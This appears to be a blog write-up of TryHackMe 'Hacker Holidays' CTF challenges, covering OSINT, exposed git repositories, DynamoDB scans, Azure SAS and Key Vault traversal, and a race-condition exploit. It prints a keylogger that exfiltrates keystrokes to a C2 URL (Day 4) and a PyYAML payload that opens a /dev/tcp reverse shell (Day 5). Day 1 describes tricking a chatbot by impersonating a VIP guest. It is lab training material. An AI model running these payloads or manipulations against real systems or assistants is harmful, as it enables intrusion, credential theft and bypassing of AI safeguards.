RSS Amplifier

Konstantin Lebedev blog · Jul 27, 2026

Hacker Holidays CTF writeup

0
Sign in to vote or save

Konstantin Lebedev · Konstantin Lebedev blog

cover picture

https://tryhackme.com/hackerholidays

Day 0 - The Brochure

A simple OSINT challenge. The image provided in the task files has no hidden embedded data, the main clues hide in plain sight - the brochure tells you to “find us on Instagram” and “VERA can assist you further”.

A quick search on Instagram reveals @thebytelotusresort account with a single account followed:

The Byte Lotus Resort Instagram account

Navigating to that account brings you to @veratheconcierge account with 3 posts, each containing a part of base64-encoded string (that can be copied from each post’s description):

VERA the Concierge Instagram account

Concatenating these parts and decoding them will reveal the flag.

Day 1 - The Concierge Knows Too Much

The first challenge is a simple AI prompt injection. Ask VERA to give you the escalation code and you’ll get a flat out refusal. But if you first introduce yourself as one of the VIP guests (hinted in 0xMia’s story) and ask for it again, she will give it to you. The flag will be in the response.

Day 2 - Room 404

In this challenge, you’re given a link to a website and hinted that the flag will be in the exposed source code. Checking the source code in the devtools doesn’t yield anything, which suggests that you might have to find the entire codebase somewhere. My instinct to check for http://lab-machine:8080/.git/ path was correct - the entire .git repository was exposed via directory enumeration. Another way to discover it would be by using gobuster to check for common directory names:

gobuster dir -u http://lab-machine:8080/ -w /usr/share/wordlists/Seclists/Discovery/Web-Content/quickhits.txt

A scan using quickhits word list will reveal the existence of app.js (that has nothing of interest) and .git folder.

Next step is to download the entire .git folder, we can do that using wget command:

wget -r http://lab-machine:8080/.git/

Finally, we recreate all git-tracked files from the current HEAD commit by running:

git reset --hard HEAD

Inspecting restored source files, we can find the flag in the README file.

Day 3 - Complimentary

In this challenge, the task is to track down the AWS mechanism issuing the credentials for accessing data fetched from a DynamoDB table, and use them to access other than our own records there. It sounds more complicated than it actually is.

The first step is to explore the source code, where we immediately find app.js file that contains the logic for fetching data. This is the relevant part of it:

AWS.config.credentials.get(function (err) {
  if (err) {
    console.error("Could not fetch guest credentials:", err);
    return;
  }

  const dynamodb = new AWS.DynamoDB({ region: AWS_REGION });
  dynamodb.getItem(
    {
      TableName: TABLE_NAME,
      Key: { guest_id: { S: guestId() } },
    },
    function (err, data) {
      if (err) {
        console.error("Could not load dashboard:", err);
        return;
      }
      renderDashboard(data.Item);
    }
  );
});

It uses getItem function to fetch a single item by a guest_id, but we can change it to list all the records in the database. A modified version might looks something like this:

AWS.config.credentials.get(function (err) {
  const dynamodb = new AWS.DynamoDB({ region: AWS_REGION });
  dynamodb.scan({ TableName: TABLE_NAME },
    function (err, data) {
      console.log(data.Items);
    }
  );
});

This script uses scan function to fetch all available records, and it can be executed directly from the “Console” tab of Chrome’s devtools. The script returns 5 records of other guests, and the note field in one of the records will contain the flag.

Day 4 - Packed Light

In this challenge, we’re given a Packet Capture file (.pcapng) and told that it contains traffic exfiltrating data. Additionally, 0xMia’s story gives us a hint that suspicious requests are going to port 8080. With that information, we can open the capture file in Wireshark and filter for all outgoing requests to port 8080 using http && tcp.dstport == 8080 filter:

Wireshark filtered view showing port 8080 traffic

We can see that a Python script is sent in the first request, and all subsequent requests ping a server on port 8080 passing some short value inside hotel_sess_state cookie:

Wireshark packet capture showing requests to port 8080

Inspecting the Python script, we can see that it contains a keylogger, that uses a simple XOR encryption of the pressed key character, adds base64 encoding on top, and then sends it to a C2 server inside hotel_sess_state cookie:

import requests
import base64
from pynput import keyboard

C2_URL = "http://byte-lotus-hotel.thm:8080/"

def getkey():
    p1 = "H0t3lSt@ff0Nly"
    p2 = "K3epS3cr3t!"
    return p1 + p2

def xor(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

def sendltr(character):
    raw_bytes = character.encode('utf-8')
    encrypted = xor(raw_bytes, getkey().encode('utf-8'))

    b64_string = base64.b64encode(encrypted).decode('utf-8')

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
        "Cookie": f"hotel_sess_state={b64_string}"
    }
    try:
        requests.get(C2_URL, headers=headers, timeout=0.5)
    except:
        pass

def on_press(key):
    try:
        sendltr(key.char)
    except AttributeError:
        if key == keyboard.Key.space:
            sendltr(" ")
        elif key == keyboard.Key.enter:
            sendltr("\r")

print("[*] Byte Lotus Sync Service started...")
with keyboard.Listener(on_press=on_press) as listener:
    listener.join()

Knowing how it works, we can reconstruct the original keys by base64-decoding and XORing the values from the cookies. To extract cookie values, we can use tshark command:

tshark -r traffic.pcapng -Y 'tcp.dstport == 8080 && http.cookie' -T fields -e http.cookie

That will output a list of cookie values together with their names:

hotel_sess_state=HA==
hotel_sess_state=AA==
hotel_sess_state=BA==
...

Finally, we can use this CyberChef recipe to remove the cookie name using Regex, and then apply Base64 and XOR transformations to retrieve the original keys that is the flag for this challenge.

Day 5 - Beach Bar

In this challenge, the difficulty goes up a notch. Let’s start with the hints:

  • “shell access is complimentary” line in the challenge description hints we’ll need to get remote code execution (RCE) on the target machine
  • “boot2root” category and the fact that we need to find two flags (user and root) tell us that we’ll need to get root user privilege escalation

But before we get to any of that, we need to get past the login form that we’ll see upon opening the website. This step is quite easy as a simple inspection of the source code reveals a comment with credentials that we can use to log in.

Once logged in, we discover an interface that allows us provide a YAML file with the tracks to be queued. This is a strong hint that there might be a vulnerability in the YAML library.

Checking the network tab, we can find out that the app is served by “gunicorn” server, which is a Python HTTP server:

Chrome DevTools showing gunicorn server response

At this point, we can start looking for known vulnerabilities in Python YAML parsing libraries, and discover that PyYAML has insecure serialization issue that can lead to arbitrary code execution - exactly what we need.

We can easily verify that by providing the following YAML data and watching the response return 5 seconds later:

playlist:
  name: !!python/object/apply:time.sleep [5]

Having confirmed the vulnerability, we can start a shell handler locally (I’m using Penelope for that), and execute the following command that we’ll give us a full reverse shell control:

playlist:
  name: !!python/object/apply:subprocess.Popen
    args:
      - ["/bin/bash", "-c", "bash -i >& /dev/tcp/your-machine-ip/4444 0>&1"]

With full shell access on the target machine, we can look around a bit and discover the user flag:

whoami                          # bartender
ls /home/bartender              # user.txt
cat /home/bartender/user.txt    # first flag

To get the root flag, we need to get root user privileges, and for that, we need to have the root user password.

Going back to the challenge description, we can find a few mentions of a “jukebox” that we haven’t seen yet. Looking through the file system again, we’ll discover jukeboxd folder sitting inside the web app folder. This folder contains another Python script that doesn’t seem to do much, but it does accept some kind of a password as an argument (--stream-pass):

#!/usr/bin/env python3

import argparse
import time

NOW_PLAYING = [
    "Khruangbin - Maria Tambien",
    "Men I Trust - Show Me How",
    "Crumb - Locket",
    "Mac DeMarco - Chamber of Reflection",
]


def main():
    parser = argparse.ArgumentParser(description="Beach Bar jukebox streamer")
    parser.add_argument("--stream-pass", required=True, help="stream backend password")
    parser.add_argument("--bitrate", default="320k")
    args = parser.parse_args()

    i = 0
    while True:
        track = NOW_PLAYING[i % len(NOW_PLAYING)]
        i += 1
        time.sleep(30)


if __name__ == "__main__":
    main()

The fact that the folder is named jukeboxd with “d” in the end suggests that it might be a service (daemon). We can run the following systemctl command to confirm that jukeboxd service is indeed there:

systemctl list-units --type=service --state=running

To find out what --stream-pass value the service was started with, we can use:

systemctl show jukeboxd -p ExecStart

The output will contain argv[] line with the password. Now we can try to switch to root user using this password, and discover the second flag:

su root
cd /root
cat root.txt

Day 6 - Overheard At Breakfast

Very simple OSINT challenge in which we need to track down an account using clues in the provided conversation. There are two hints:

  1. It’s a free tool that allows to upload profile image and link other media accounts, its name starts with a “G”
  2. The email of the user

Once we identify the free tool as Gravatar, all we have to do is visit the page where we can search Gravatar profiles by email, locate the account, and use CyberChef to decode a base64-encoded string from the profile to get the flag.

Day 7 - Do Not Disturb

coming soon

Day 8 - Towel on the Sunbed

In this web challenge, we’re presented with a rewards app, where we can claim a daily reward (50 tokens) or open a vault - an action that requires at least 150 tokens. Poking around, all APIs seem well sanitized and all unexpected parameters (like balance or whaleThreshold that I tried to pass during registration) were simply ignored. Client-side JS didn’t reveal any hidden APIs either.

However, the hint “claimed three times over” in the challenge description strongly points to a possible race condition, where multiple claim requests can arrive (and get processed) at the same time, but get marked as “fulfilled” with a delay. Another sentence in the description saying “somewhere between his request and the server’s clock” also supports the theory of TOCTOU bug.

This bug can be exploited in multiple ways, one of them is to fire off a lot of curl requests in parallel:

seq 30 | xargs -n1 -P30 -I{} \
curl 'http://lab-machine-ip:3000/claim' \
  -X 'POST' \
  -b 'connect.sid=<your_session_cookie>' \
  --insecure

You may need to experiment with the number of requests, but eventually at least 3 simultaneous requests will go through and you will be able to open the vault and get the flag for this challenge.

Day 9 - CryptoCabana

A rather easy but fun challenge that requires some traversal of Azure storages.

The target website is quite simple - it only has a form for uploading the seed phrase (that doesn’t work). A quick look at the source code reveals the logic for uploading, and a misconfigured Shared Access Signature (SAS) token:

const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";

function backupPhrase() {
  // ...
}

We can see that SAS token has “Read” and “List” service permissions (sp=rl), which means that we can traverse the blob storage to see what other files are stored there. First, we can just list all containers we have access to using:

az storage container list --account-name "$ACCOUNT" --sas-token "$SAS" --output table

The command reveals the existence of backup and vault containers. We can check them one by one using this command:

az storage blob list --account-name "$ACCOUNT" --sas-token "$SAS" --output table --container-name vault

The backup container is empty, but vault has two files - a seed phrase and backup-service-account.json. Next step is download them individually and inspect their contents:

az storage blob download --account-name "$ACCOUNT" --sas-token "$SAS" --output table --container-name vault --name backup-service-account.json

The backup-service-account.json file is more interesting, as it contains credentials for a higher-privilege account with a link to a secure vault:

{
  "client_id":"<client_id_here>",
  "client_secret":"<client_secret_here>",
  "key_vault_name":"<key_vault_name_here>",
  "key_vault_uri":"https://key-vault-url-here.vault.azure.net/",
  "note":"CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT",
  "tenant_id": "<tenant_id_here>"
}

We can use these credentials to log in with a service principal account:

az login --service-principal --tenant "$TENANT" --username "$USERNAME" --password "$PASSWORD"

Since we also have the URL and name of the key vault, we can list the secrets it has inside:

az keyvault secret list --vault-name "$VAULT_NAME" --output table

This command the presence of 3 secrets (key-shard-1, key-shard-2, key-shard-3), each of which we can download individually:

az keyvault secret show --name key-shard-1  --vault-name "$VAULT_NAME" --output table

Shards #1 and #3 will contain the pieces of the flag, and the value of shard #2 will give us the last hint: “Rotated this after IT flagged it — old value should still be recoverable if you know where to look.”, which implies that this is a versioned value.

To list the available versions of this key, and then retrieve them, we can use:

az keyvault secret list-versions --name key-shard-2  --vault-name "$VAULT_NAME" --output tsv
az keyvault secret show --name key-shard-2 --version "$SHARD_VERSION"  --vault-name "$VAULT_NAME" --output tsv

Assembling all 3 pieces of the flag will solve the challenge.

Read the original on konstantinlebedev.com

Comments

Nothing yet. Say the first thing.

    Sign in to join the conversation.